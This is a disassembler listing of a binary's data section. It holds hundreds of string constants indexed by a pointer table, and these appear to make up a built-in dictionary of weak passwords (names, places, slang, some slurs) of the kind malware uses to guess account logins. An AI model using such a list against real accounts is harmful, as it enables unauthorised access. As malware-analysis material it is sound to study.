aHorus		db 'horus',0            ; DATA XREF: ___:004303A4o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:004303A0o
		align 4
aHorror		db 'horror',0           ; DATA XREF: ___:0043039Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:00430398o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: ___:00430394o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:00430390o
aHooker		db 'hooker',0           ; DATA XREF: ___:0043038Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00430388o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: ___:00430384o
		align 4
aHomer		db 'homer',0            ; DATA XREF: ___:00430380o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:0043037Co
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00430378o
		align 4
aHolly		db 'holly',0            ; DATA XREF: ___:00430374o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:00430370o
		align 4
aHits		db 'hits',0             ; DATA XREF: ___:0043036Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:00430368o
		align 4
aHighland	db 'highland',0         ; DATA XREF: ___:00430364o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:00430360o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: ___:0043035Co
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00430358o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00430354o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:00430350o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: ___:0043034Co
aHeroin		db 'heroin',0           ; DATA XREF: ___:00430348o
		align 4
aHero		db 'hero',0             ; DATA XREF: ___:00430344o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:00430340o
aHerb		db 'herb',0             ; DATA XREF: ___:0043033Co
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:00430338o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00430334o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00430330o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:0043032Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00430328o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00430324o
		align 4
aHeather	db 'heather',0          ; DATA XREF: ___:00430320o
aHeathen	db 'heathen',0          ; DATA XREF: ___:0043031Co
aHeat		db 'heat',0             ; DATA XREF: ___:00430318o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00430314o
		align 10h
aHead		db 'head',0             ; DATA XREF: ___:00430310o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:0043030Co
		align 10h
aHaven		db 'haven',0            ; DATA XREF: ___:00430308o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00430304o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: ___:00430300o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:004302FCo
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: ___:004302F8o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:004302F4o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:004302F0o
		align 10h
aHard		db 'hard',0             ; DATA XREF: ___:004302ECo
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:004302E8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:004302E4o
aHandily	db 'handily',0          ; DATA XREF: ___:004302E0o
aHandel		db 'handel',0           ; DATA XREF: ___:004302DCo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: ___:004302D8o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:004302D4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: ___:004302D0o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:004302CCo
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: ___:004302C8o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:004302C4o
		align 10h
aHack		db 'hack',0             ; DATA XREF: ___:004302C0o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:004302BCo
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: ___:004302B8o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: ___:004302B4o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:004302B0o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: ___:004302ACo
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:004302A8o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: ___:004302A4o
aGroup		db 'group',0            ; DATA XREF: ___:004302A0o
		align 10h
aGreen		db 'green',0            ; DATA XREF: ___:0043029Co
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00430298o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: ___:00430294o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:00430290o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: ___:0043028Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00430288o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: ___:00430284o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:00430280o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: ___:0043027Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: ___:00430278o
aGorges		db 'gorges',0           ; DATA XREF: ___:00430274o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:00430270o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:0043026Co
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: ___:00430268o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00430264o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: ___:00430260o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:0043025Co
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: ___:00430258o
aGirl		db 'girl',0             ; DATA XREF: ___:00430254o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: ___:00430250o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:0043024Co
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00430248o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: ___:00430244o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:00430240o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: ___:0043023Co
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00430238o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:00430234o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:00430230o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: ___:0043022Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00430228o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:00430224o
aGarfield	db 'garfield',0         ; DATA XREF: ___:00430220o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:0043021Co
aGames		db 'games',0            ; DATA XREF: ___:00430218o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00430214o
aFungible	db 'fungible',0         ; DATA XREF: ___:00430210o
		align 4
aFunction	db 'function',0         ; DATA XREF: ___:0043020Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00430208o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00430204o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:00430200o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: ___:004301FCo
aFucker		db 'fucker',0           ; DATA XREF: ___:004301F8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: ___:004301F4o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:004301F0o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: ___:004301ECo
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:004301E8o
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:004301E4o
aFriend		db 'friend',0           ; DATA XREF: ___:004301E0o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:004301DCo
		align 4
aFrench		db 'french',0           ; DATA XREF: ___:004301D8o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:004301D4o
aFree		db 'free',0             ; DATA XREF: ___:004301D0o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004301CCo
		align 4
aFreak		db 'freak',0            ; DATA XREF: ___:004301C8o
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:004301C4o
		align 4
aFrance		db 'france',0           ; DATA XREF: ___:004301C0o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:004301BCo
aFourier	db 'fourier',0          ; DATA XREF: ___:004301B8o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:004301B4o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: ___:004301B0o
		align 4
aFormat		db 'format',0           ; DATA XREF: ___:004301ACo
		align 4
aForm		db 'form',0             ; DATA XREF: ___:004301A8o
		align 4
aForever	db 'forever',0          ; DATA XREF: ___:004301A4o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:004301A0o
		align 10h
aFord		db 'ford',0             ; DATA XREF: ___:0043019Co
		align 4
aForce		db 'force',0            ; DATA XREF: ___:00430198o
		align 10h
aFootball	db 'football',0         ; DATA XREF: ___:00430194o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:00430190o
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:0043018Co
		align 10h
aFood		db 'food',0             ; DATA XREF: ___:00430188o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:00430184o
aFlower		db 'flower',0           ; DATA XREF: ___:00430180o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:0043017Co
aFloat		db 'float',0            ; DATA XREF: ___:00430178o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:00430174o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: ___:00430170o
aFirewall	db 'firewall',0         ; DATA XREF: ___:0043016Co
		align 4
aFire		db 'fire',0             ; DATA XREF: ___:00430168o
		align 4
aFinite		db 'finite',0           ; DATA XREF: ___:00430164o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: ___:0043015Co
		align 4
aField		db 'field',0            ; DATA XREF: ___:00430158o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: ___:00430154o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:00430150o
aFermat		db 'fermat',0           ; DATA XREF: ___:0043014Co
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:00430148o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: ___:00430144o
aFeds		db 'feds',0             ; DATA XREF: ___:00430140o
		align 10h
aFear		db 'fear',0             ; DATA XREF: ___:0043013Co
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:00430138o
		align 10h
aFart		db 'fart',0             ; DATA XREF: ___:00430134o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:00430130o
aFarad		db 'farad',0            ; DATA XREF: ___:0043012Co
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:00430128o
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:00430124o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:00430120o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: ___:0043011Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:00430118o
aExtensio	db 'extensio',0         ; DATA XREF: ___:00430114o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:00430110o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:0043010Co
		align 4
aExplore	db 'explore',0          ; DATA XREF: ___:00430108o
aExplode	db 'explode',0          ; DATA XREF: ___:00430104o
aExpert		db 'expert',0           ; DATA XREF: ___:00430100o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:004300FCo
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: ___:004300F8o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: ___:004300F4o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:004300F0o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: ___:004300ECo
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: ___:004300E8o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: ___:004300E4o
		align 4
aErin		db 'erin',0             ; DATA XREF: ___:004300E0o
		align 4
aErika		db 'erika',0            ; DATA XREF: ___:004300DCo
		align 4
aErica		db 'erica',0            ; DATA XREF: ___:004300D8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004300D4o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: ___:004300D0o
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:004300CCo
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:004300C8o
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:004300C4o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: ___:004300C0o
aEngland	db 'england',0          ; DATA XREF: ___:004300BCo
aEngineer	db 'engineer',0         ; DATA XREF: ___:004300B8o
		align 4
aEngine		db 'engine',0           ; DATA XREF: ___:004300B4o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: ___:004300B0o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:004300ACo
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:004300A8o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: ___:004300A4o
aEmail		db 'email',0            ; DATA XREF: ___:004300A0o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: ___:0043009Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:00430098o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: ___:00430094o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: ___:00430090o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: ___:0043008Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: ___:00430088o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: ___:00430084o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:00430080o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: ___:0043007Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:00430078o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:00430074o
aEdwina		db 'edwina',0           ; DATA XREF: ___:00430070o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:0043006Co
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: ___:00430068o
		align 4
aEducation	db 'education',0        ; DATA XREF: ___:00430064o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:00430060o
aEdit		db 'edit',0             ; DATA XREF: ___:off_43005Co
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00430058o
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:00430054o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: ___:off_430050o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:0043004Co
		align 4
aEatme		db 'eatme',0            ; DATA XREF: ___:00430048o
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:00430044o
		align 4
aEasier		db 'easier',0           ; DATA XREF: ___:00430040o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:0043003Co
		align 4
aEagle		db 'eagle',0            ; DATA XREF: ___:00430038o
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:00430034o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: ___:00430030o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:0043002Co
aDuncan		db 'duncan',0           ; DATA XREF: ___:00430028o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:00430024o
		align 4
aDuke		db 'duke',0             ; DATA XREF: ___:00430020o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:0043001Co
aDude		db 'dude',0             ; DATA XREF: ___:00430018o
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:00430014o
		align 4
aDrought	db 'drought',0          ; DATA XREF: ___:00430010o
aDrive		db 'drive',0            ; DATA XREF: ___:0043000Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00430008o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:00430004o
		align 4
aDownload	db 'download',0         ; DATA XREF: ___:00430000o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042FFFCo
		align 10h
aDoors		db 'doors',0            ; DATA XREF: ___:0042FFF8o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042FFF4o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042FFF0o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042FFECo
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042FFE8o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042FFE4o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042FFE0o
		align 10h
aDong		db 'dong',0             ; DATA XREF: ___:0042FFDCo
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042FFD8o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042FFD4o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042FFD0o
aDisney		db 'disney',0           ; DATA XREF: ___:0042FFCCo
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042FFC8o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042FFC4o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: ___:0042FFC0o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042FFBCo
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042FFB8o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: ___:0042FFB4o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042FFB0o
		align 10h
aDirector	db 'director',0         ; DATA XREF: ___:0042FFACo
		align 4
aDirect		db 'direct',0           ; DATA XREF: ___:0042FFA8o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042FFA4o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042FFA0o
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042FF9Co
aDieter		db 'dieter',0           ; DATA XREF: ___:0042FF98o
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042FF94o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042FF90o
aDick		db 'dick',0             ; DATA XREF: ___:0042FF8Co
		align 10h
aDice		db 'dice',0             ; DATA XREF: ___:0042FF88o
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042FF84o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: ___:0042FF80o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042FF7Co
aDial		db 'dial',0             ; DATA XREF: ___:0042FF78o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042FF74o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: ___:0042FF70o
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042FF6Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042FF68o
aDesk		db 'desk',0             ; DATA XREF: ___:0042FF64o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042FF60o
aDennis		db 'dennis',0           ; DATA XREF: ___:0042FF5Co
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:0042FF58o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042FF54o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042FF50o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: ___:0042FF4Co
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042FF48o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042FF44o
aDeck		db 'deck',0             ; DATA XREF: ___:0042FF3Co
		align 10h
aDecember	db 'december',0         ; DATA XREF: ___:0042FF38o
		align 4
aDebug		db 'debug',0            ; DATA XREF: ___:0042FF34o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042FF30o
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042FF2Co
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042FF28o
		align 10h
aDead		db 'dead',0             ; DATA XREF: ___:0042FF24o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042FF20o
		align 10h
aDave		db 'dave',0             ; DATA XREF: ___:0042FF1Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042FF18o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042FF14o
		align 4
aDark		db 'dark',0             ; DATA XREF: ___:0042FF10o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:0042FF0Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: ___:0042FF08o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042FF04o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042FF00o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042FEFCo
		align 10h
aDana		db 'dana',0             ; DATA XREF: ___:0042FEF8o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042FEF4o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042FEF0o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042FEECo
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042FEE8o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042FEE4o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042FEE0o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: ___:0042FEDCo
		align 4
aCunt		db 'cunt',0             ; DATA XREF: ___:0042FED8o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042FED4o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042FED0o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042FECCo
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042FEC8o
		align 4
aCrime		db 'crime',0            ; DATA XREF: ___:0042FEC4o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:0042FEC0o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042FEBCo
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042FEB8o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: ___:0042FEB4o
		align 4
aCreation	db 'creation',0         ; DATA XREF: ___:0042FEB0o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042FEACo
		align 10h
aCream		db 'cream',0            ; DATA XREF: ___:0042FEA8o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042FEA4o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:0042FEA0o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042FE9Co
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042FE98o
		align 10h
aCountry	db 'country',0          ; DATA XREF: ___:0042FE94o
aCounters	db 'counters',0         ; DATA XREF: ___:0042FE90o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042FE8Co
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042FE88o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042FE84o
		align 10h
aCops		db 'cops',0             ; DATA XREF: ___:0042FE80o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042FE7Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: ___:0042FE78o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: ___:0042FE74o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: ___:0042FE70o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042FE6Co
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:0042FE68o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; ___:0042FE64o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042FE60o
aConserva	db 'conserva',0         ; DATA XREF: ___:0042FE5Co
		align 4
aConnie		db 'connie',0           ; DATA XREF: ___:0042FE58o
		align 4
aCondom		db 'condom',0           ; DATA XREF: ___:0042FE50o
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:0042FE4Co
		align 4
aComrades	db 'comrades',0         ; DATA XREF: ___:0042FE48o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: ___:0042FE44o
aComputin	db 'computin',0         ; DATA XREF: ___:0042FE40o
		align 4
aCompany	db 'company',0          ; DATA XREF: ___:0042FE3Co
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042FE38o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042FE34o
		align 10h
aComics		db 'comics',0           ; DATA XREF: ___:0042FE30o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042FE2Co
		align 10h
aColor		db 'color',0            ; DATA XREF: ___:0042FE28o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042FE24o
aCold		db 'cold',0             ; DATA XREF: ___:0042FE20o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042FE1Co
		align 10h
aCoke		db 'coke',0             ; DATA XREF: ___:0042FE18o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042FE14o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042FE10o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042FE0Co
		align 4
aCodename	db 'codename',0         ; DATA XREF: ___:0042FE08o
		align 10h
aCode		db 'code',0             ; DATA XREF: ___:0042FE04o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042FE00o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042FDFCo
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042FDF8o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042FDF4o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: ___:0042FDF0o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042FDECo
aClinton	db 'clinton',0          ; DATA XREF: ___:0042FDE8o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042FDE4o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042FDE0o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042FDDCo
aClassic	db 'classic',0          ; DATA XREF: ___:0042FDD8o
aClasses	db 'classes',0          ; DATA XREF: ___:0042FDD4o
aClass		db 'class',0            ; DATA XREF: ___:0042FDD0o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: ___:0042FDCCo
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042FDC8o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042FDC4o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: ___:0042FDC0o
aChristin	db 'christin',0         ; DATA XREF: ___:0042FDBCo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:0042FDB8o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:0042FDB4o
		align 4
aChester	db 'chester',0          ; DATA XREF: ___:0042FDB0o
aChess		db 'chess',0            ; DATA XREF: ___:0042FDACo
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042FDA8o
		align 10h
aChem		db 'chem',0             ; DATA XREF: ___:0042FDA4o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042FDA0o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: ___:0042FD9Co
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042FD98o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042FD94o
aCharles	db 'charles',0          ; DATA XREF: ___:0042FD90o
aCharity	db 'charity',0          ; DATA XREF: ___:0042FD8Co
aChange		db 'change',0           ; DATA XREF: ___:0042FD88o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042FD84o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042FD80o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042FD7Co
		align 10h
aCelt		db 'celt',0             ; DATA XREF: ___:0042FD78o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042FD74o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042FD70o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042FD6Co
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: ___:0042FD68o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042FD64o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042FD60o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: ___:0042FD5Co
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042FD58o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: ___:0042FD54o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:0042FD50o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042FD4Co
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042FD48o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042FD44o
		align 4
aCarole		db 'carole',0           ; DATA XREF: ___:0042FD40o
		align 4
